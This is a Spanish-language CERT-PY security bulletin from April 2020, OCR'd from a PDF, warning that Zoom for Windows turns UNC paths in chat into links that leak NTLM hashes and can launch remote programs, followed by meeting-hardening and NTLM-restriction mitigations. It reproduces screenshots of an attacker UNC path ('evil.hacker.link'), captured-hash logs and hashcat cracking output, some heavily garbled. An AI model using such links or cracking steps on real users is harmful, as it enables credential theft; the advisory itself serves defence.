Ministerio de )
TECNOLOGIAS
DE LA INFORMACION
Y COMUNICACION

B TETA REKUAI
m GOBIERNO NACIONAL

CERT-PY

BOLETIN DE ALERTA

Boletin Nro.: 2020-10

Fecha de publicacién: 02/04/2020

Tema: Vulnerabilidad en Zoom permitiria a un atacante remoto obtener las credenciales de
acceso de Windows.

Sistemas afectados:
e Zoom para Windows en todas sus versiones.
Descripcion:

Recientemente se ha descubierto una falla en el cliente de Zoom para Windows,
concretamente una vulnerabilidad de inyeccion de ruta UNC en la funcionalidad de chat.
Zoom por defecto convierte todas las URLs que son compartidas en el chat en hipervinculos
para que de esta manera los participantes de la reunidon puedan hacer clic en él e ir
directamente a la pagina web indicada en la URL. Pero ademas de esto, Zoom también
convierte las rutas UNC de red de Windows para acceder a un recurso remoto desde el chat,
con lo que al hacer clic sobre él se intentara una conexion a través del protocolo SMB.

Un atacante remoto podria aprovechar esta situacion, enviar a través del chat una URL

especialmente disefiada y convencer a la victima que haga clic en el mismo.

) Zoom Participant ID: 34 Meeting ID: - m} *
£ Gallery View [T v Zoom Group Chat
bleeping From Lawrence fbrams to Everyone:
Check out this great site:
https://www.bleepingcomputer.com
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Cuando esto ocurre Windows intentara conectarse al sitio remoto utilizando el protocolo SMB,
que de forma predeterminada enviara el nombre de inicio de sesion del usuario y el hash de

contrasefia NTLM, el cual puede ser capturado por el atacante.

=] |

v Zoom Group Chat

Wevil.hacker.link\dickme

[] Skipping previously captured hash for Bluemoon\HackerFantastic
[ i ured hash for Bluemoon\HackerFantastic
[ red hash for Bluemoon\HackerFantastic
8 i hash for Bluemoon\HackerFantastic
[ i red hash for Bluemoon\HackerFantastic
i To:  Everyone v

[rype message here...

Si bien esta contrasefia no es capturada en texto plano, puede utilizarse herramientas como
john the ripper o hashcat para intentar descifrar la contrasefa, si la misma es una contrasefia
deébil, sélo tomara un par de segundos descifrarla. En cambio en un ambiente corporativo, el
nombre de usuario y el hash puede ser utilizado para acceder a otros equipos y obtener otros
vectores de ataque.

ache-hit dictionary stats ..\hashkiller-dict.txt: 588725864 bytes. 47625548 words, 47625548 keyspace

BECTEST1233R0UTLOOK .COM: :MicrosoftAccount : 1122334455667 788 : 0053944 10a4c4f9I35493FFa89a3cdd85:0101000000000000148381287aced1012d77818¢]
cceelf900000000020034006d00T73006c00650061006b00200TOO06SO0T20066006500630074002d00TOOOT20069007600610063007900200063006F006d0BA000)
LO0OEOOEA0A : newyorkll
1

Kession.Name...: hashcat
IS : Cracked
I : File (..\hashkiller-dict.txt)
: SECTEST1233R@OUTLOOK.COM: :MicrosoftAccount. ..
: NetNTLMu2
: Thu Aug B4 14:06:00 2016 (3 secs)
5521.7 kH/s (12.41ms)
/1 (100.00%) Digests, 1/1 (160.080%) Salts
T254121/47625548 (36.23%)
06T93/17254121 (4.10%)
B294344/4 7625548 (34.21%)

Btarted: Thu Aug B4 14:06:00 2018
Stopped: Thu Aug B4 14:06:14 2016

Ademas, un atacante remoto podria ejecutar cualquier software que se encuentre en el equipo

o realizar la descargar de cédigo malicioso en el mismo.
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(=] Zoom ks
Open File - Security Warning B . Zoom Group Chat
HackerFantastic From Me to Everyone:
‘We can't verify who created this file. Are you sure you want to run this file? \W127.00 1\[5’\ WINDOWS\SYSTEM32
iﬂ Name: \\127.0.0.1\cS\WINDOWS\SYSTEM32\CALC.EXE CALCEXE

Type Application
From: \\127.0.0.1\cS\WINDOWS\SYSTEM32\CALC.EXE

Run [ concel |

5, Thisfileis in a location outside your local netwark, Files from locations
‘@‘ u don’ arm your PC. Only run this file if you trust
- 2

yor
the loc

To:  Everyone v

Type message here...

Un ejemplo de explotacion de esta vulnerabilidad lo puede ver en el siguiente enlace.

Por otro lado, no es el unico fallo de seguridad o privacidad que se ha descubierto en Zoom,
existen varios reportes los cuales mencionan que otros usuarios ajenos a una reunién han
logrado “piratear” la reunidén, acceder a la misma y exhibir imagenes pornograficas o racistas
en las pantallas durante las reuniones, por lo que se solicita extremar las precauciones con el
fin realizar una reunion segura.

Impacto:

Esta vulnerabilidad podria permitir a un atacante remoto obtener las credenciales de acceso de
un usuario de Windows, ademas ejecutar cualquier software que se encuentre en el equipo o

realizar la descargar de codigo malicioso en el mismo.0
Solucién y prevencién:

e AuUn no existen parches de seguridad que abordan esta vulnerabilidad, por lo que se
recomienda utilizar un software de videoconferencia alternativo o Zoom en la version
del navegador.

e Para realizar una reunién segura, se recomienda que siga las siguientes indicaciones:
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o No haga publica las reuniones o aulas, Zoom cuenta con la opcion de hacer

que una reunion sea privada o de ingresar una contrasefia para unirse a la

ZOO' ' ‘ SOLUCIONES +  PLANESYPRECIOS ~ CONTACTO DEVENTAS PROGRAMAR UNAREUNION  ENTRAR A UNA REUNION
1D de reunién ® Generar automaticamente ID personal de la reunién 919-417-13%6
Contrasena de la reunién Requerir contrasefia de reunion 528692
Video Anfitrién ® Encendido Apagado
Participante ® Encendido Apagado
Audio 7 Teléfono Audio de la computadora @ Ambos
Discar desde  Editar

o No comparta el enlace a una reunién a través de las redes sociales. Es mas
seguro enviar el enlace directamente a las personas con quien se acuerde la

reunion.

5 s ® @ =

Invite Manage Participants  Share Screen Chat Record Breakout Rooms

@ Invite people to join meeting

Invite by Contacts Invite Zoom Rooms Invite by Phone  Invite a Room System

Choose your email service to send invitation

Default Email Yahoo Mail

Copy URL Copy Invitation

o Cambie el uso compartido de la pantalla a “Solo host”.
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Host On Off Participants On Off
Audio

Telephone () Computer Audio O Telephone and Computer Audio
Edit

Calendar

iCal o Google Calendar Other Calendars

e Para equipos pertenecientes a un dominio, cambiar la configuracion de la politica de
seguridad para restringir que el sistema operativo pase automaticamente sus
credenciales NTML a un servidor remoto, para ello dirijase a:

o Configuracién del equipo > Configuraciéon de Windows > Configuracion de
seguridad > Directivas locales > Opciones de seguridad > Red de
seguridad: Restringir NTLM: NTLM trafico saliente a servidores remotos.

o vy configure la politica en deny all.

Network security: Restrict NTLM: Outgoing NTLM traffic t... ? X
Local Security Setting  Explain

=W Network security: Restrict NTLM: Outgoing NTLM traffic to remote
servers

Deny all

Modifying this setting may affect compatibility with clients, services,
L. and applications,

For more information, see Network security: Restrict NTLM: Outgoing

NTLM traffic to remote servers in the Security Policy Technical

Reference.

OK Cancel Apply
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e Tambien es posible cambiar la politica desde el editor de registro de Windows (Tenga
en cuenta que una mala configuracion en los registro podria danar el mismo).

o Inicie el editor del registro como administrador.

o Cree el valor RestrictSendingNTLMTraffic en la clave
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\AMSV1_0.
y

o asigne numero 2 en el campo de Value Data.
Para ver un video explicativo de la configuracién del registro, puede dirigirse al

siguiente enlace.

[ Registry Editor — O X
Eile Edit View Favorites Help
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0
5 ComponentUpdates ~ || Name Type Data

Credssp ab| (Default) REG_SZ (value not set)
Data ab| Auth132 REG_SZ 1ISSUBA
?i::I;AlgorithmPolicy ‘-'g'_4'>:‘| NtimMinClientSec REG_DWORD 0x20000000 (536870912)

3| NtimMinServerSec REG_DWORD 0x20000000 (536870912)

GBG w
D 5 ‘RestrictSendingNTLMTraffic REG_DWORD 0x00000002 (2)

Kerberos

MSV1_0

OfflineLSA

OfflineSAM

OSConfig

Skew1

SsO

SspiCache

Tracing
LsaExtensionConfig
Lsalnformation
ManufacturingMode v

Informacion adicional:

e https://www.bleepingcomputer.com/news/security/zoom-lets-attackers-steal-windows-cr

edentials-via-unc-links/

e https://thehackernews.com/2020/04/zoom-windows-password.html

e https://mashable.com/article/zoom-vulnerability-windows-passwords/

e https://m.excelsior.com.mx/hacker/zoom-en-la-mira-del-fbi-por-hackeo-durante-videoco

nferencias/1373244
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